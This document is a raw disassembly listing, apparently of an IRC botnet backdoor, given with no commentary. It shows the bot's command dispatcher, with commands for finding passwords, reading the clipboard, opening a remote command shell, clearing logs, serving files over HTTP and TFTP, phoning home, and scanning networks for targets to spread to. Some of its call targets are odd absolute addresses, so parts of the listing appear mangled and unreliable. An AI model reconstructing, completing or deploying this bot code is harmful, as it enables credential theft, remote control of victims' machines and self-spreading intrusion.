		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2670630h
		nop


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
